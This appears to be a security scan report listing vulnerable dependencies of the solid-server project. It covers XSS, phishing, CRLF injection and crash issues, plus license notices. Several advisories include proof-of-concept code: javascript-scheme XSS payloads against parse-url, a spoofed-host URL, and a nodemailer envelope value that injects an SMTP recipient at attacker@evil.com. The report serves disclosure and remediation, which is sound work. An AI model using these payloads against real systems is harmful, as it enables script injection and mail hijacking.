  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of special characters for ASCII that start with \x and also for all Unicodes start with \u.

PoC:

const http = require("http");
const parseUrl = require("parse-url");
const url =  parseUrl('jav\u000Dascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href=\'" + url.href + "\'>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: parse-url
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of special ASCII characters that start with \r\r or \r. This vulnerability exists due to an incomplete fix for CVE-2022-2217.

PoC:

const http = require("http");
const parseUrl = require("parse-url");
const url =  parseUrl('jav\r\r\rascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href=\'" + url.href + "\'>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

medium severity

Missing Authorization

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.9.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Missing Authorization in the jsonTransport message, which fails to enforce file and URL access restrictions during message normalization. An attacker can access local files or trigger outbound HTTP requests by supplying crafted message content fields such as attachment path or text.href.

Remediation

Upgrade nodemailer to version 8.0.9 or higher.

References

medium severity
new

Uncaught Exception

  • Vulnerable module: uri-js
  • Introduced through: eslint@9.39.5

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › eslint@9.39.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: solid-server@solid/node-solid-server › eslint@9.39.5 › @eslint/eslintrc@3.3.7 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Uncaught Exception in the parse() function of src/schemes/mailto.ts, whose to branch calls hfield[1].split(",") directly, while the subject, body, and default branches all route through unescapeComponent(), which short-circuits on a missing value. An attacker can crash the process by supplying a mailto URI whose query carries a bare to token with no =value, such as mailto:?to, so splitting on = yields a one element array and the undefined second element is dereferenced. This requires the application to pass an attacker-influenced string to URI.parse(), URI.resolve(), URI.normalize(), or URI.equal(), none of which wrap the scheme handler in a try/catch, and whether the throw terminates the process or only fails the one request depends on the host's own error handling.

Remediation

There is no fixed version for uri-js.

References

medium severity

Improper Input Validation

  • Vulnerable module: parse-url
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Improper Input Validation due to incorrect parsing of URLs. This allows the attacker to craft a malformed URL which can lead to a phishing attack.


const parseUrl = require("parse-url");
const Url = require("url");

const express = require('express');
const app = express();

var url = "https://www.google.com:x@fakesite.com:x";
parsed = parseUrl(url);
console.log("[*]`parse-url` output: ")
console.log(parsed);

parsed2 = Url.parse(url);
console.log("[*]`url` output: ")
console.log(parsed2)

app.get('/', (req, res) => {
    if (parsed.host == "www.google.com") {
        res.send("<a href=\'" + parsed2.href + "\'>CLICK ME!</a>")
    }
})

app.listen(8888,"0.0.0.0");

Remediation

Upgrade parse-url to version 8.1.0 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: parse-url
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › activitystreams-pane@1.1.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › profile-pane@3.3.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › pane-registry@4.0.0 › rdflib@2.4.0 › package.json@2.0.1 › git-source@1.1.11 › git-url-parse@5.0.1 › git-up@1.2.1 › parse-url@1.3.11

Overview

parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Information Exposure due to improper validation.

Remediation

Upgrade parse-url to version 6.0.1 or higher.

References

medium severity

MPL-2.0 license

  • Module: express-accept-events
  • Introduced through: express-accept-events@0.3.0

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › express-accept-events@0.3.0

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: express-negotiate-events
  • Introduced through: express-negotiate-events@0.3.0

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › express-negotiate-events@0.3.0

MPL-2.0 license

medium severity

MPL-2.0 license

  • Module: express-prep
  • Introduced through: express-prep@0.6.4

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › express-prep@0.6.4

MPL-2.0 license

medium severity

Artistic-2.0 license

  • Module: npm
  • Introduced through: mashlib@2.3.3

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1

Artistic-2.0 license

medium severity

MPL-2.0 license

  • Module: structured-field-utils
  • Introduced through: express-accept-events@0.3.0 and express-prep@0.6.4

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › express-accept-events@0.3.0 › structured-field-utils@1.2.0-nested-sf.0
  • Introduced through: solid-server@solid/node-solid-server › express-prep@0.6.4 › structured-field-utils@1.2.0-nested-sf.0

MPL-2.0 license

low severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@8.0.4.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.

Note:

This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.

PoC

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Remediation

Upgrade nodemailer to version 8.0.4 or higher.

References

low severity
new

Improper Adherence to Coding Standards

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.0.13.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Improper Adherence to Coding Standards in the checkChar method of the Tokenizer class in src/addressparser/index.ts, where operatorExpecting holds a single expected closing character, so once < opens an address scope a following ( is not recognized as an operator and the RFC 5322 comment survives verbatim in the parsed address. An attacker can have a recipient address approved by an application's own domain allow-list check and then sent differently on the wire by supplying a value such as Legit User <user@good-corp.com(x)evil.com>, since the parentheses reach envelope.to and the RCPT TO command unchanged, where a conformant server rejects the transaction and a server that does strip comments resolves a different domain than the validator read. No recovery path applies, because _recoverAddrSpec returns immediately when the address contains no whitespace and the angle bracket path inserts none, and every field funnelling through MimeNode._parseAddresses, including to, cc, bcc, from, replyTo, and an explicit envelope, is affected identically.

Remediation

Upgrade nodemailer to version 10.0.13 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: bootstrap
  • Introduced through: bootstrap@3.4.1

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › bootstrap@3.4.1
    Remediation: Upgrade to bootstrap@4.0.0.

Overview

bootstrap is a popular front-end framework for faster and easier web development.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Tooltip and Popover components due to improper neutralization of input during web page generation. An attacker can manipulate the output of web pages by injecting malicious scripts into the title attribute.

Note:

The Bootstrap 3 version is End-of-Life and will not receive any updates to address this issue.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade bootstrap to version 4.0.0 or higher.

References